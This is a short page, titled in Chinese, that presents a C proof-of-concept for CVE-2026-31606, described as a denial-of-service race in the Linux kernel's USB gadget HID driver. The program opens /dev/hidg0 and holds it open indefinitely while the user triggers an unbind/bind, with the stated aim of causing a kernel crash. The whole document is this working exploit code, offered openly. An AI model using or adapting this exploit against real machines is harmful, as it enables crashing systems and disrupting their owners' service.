CVE-2026-31606 Linux内核USB Gadget DoS漏洞

// PoC for CVE-2026-31606 // Compile: gcc poc.c -o poc // This PoC keeps /dev/hidg0 open to trigger the race condition // when an administrator performs unbind/bind operations. #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main() { const char *device = "/dev/hidg0"; int fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device %s opened successfully (fd=%d).\n", device, fd); printf("[+] Holding file descriptor open...\n"); printf("[!] Now trigger unbind/bind (e.g., via configfs or USB gadget reload).\n"); printf("[!] Kernel crash/Oops may occur due to cdev re-initialization.\n"); // Keep the device open indefinitely while (1) { sleep(1); } close(fd); return 0; }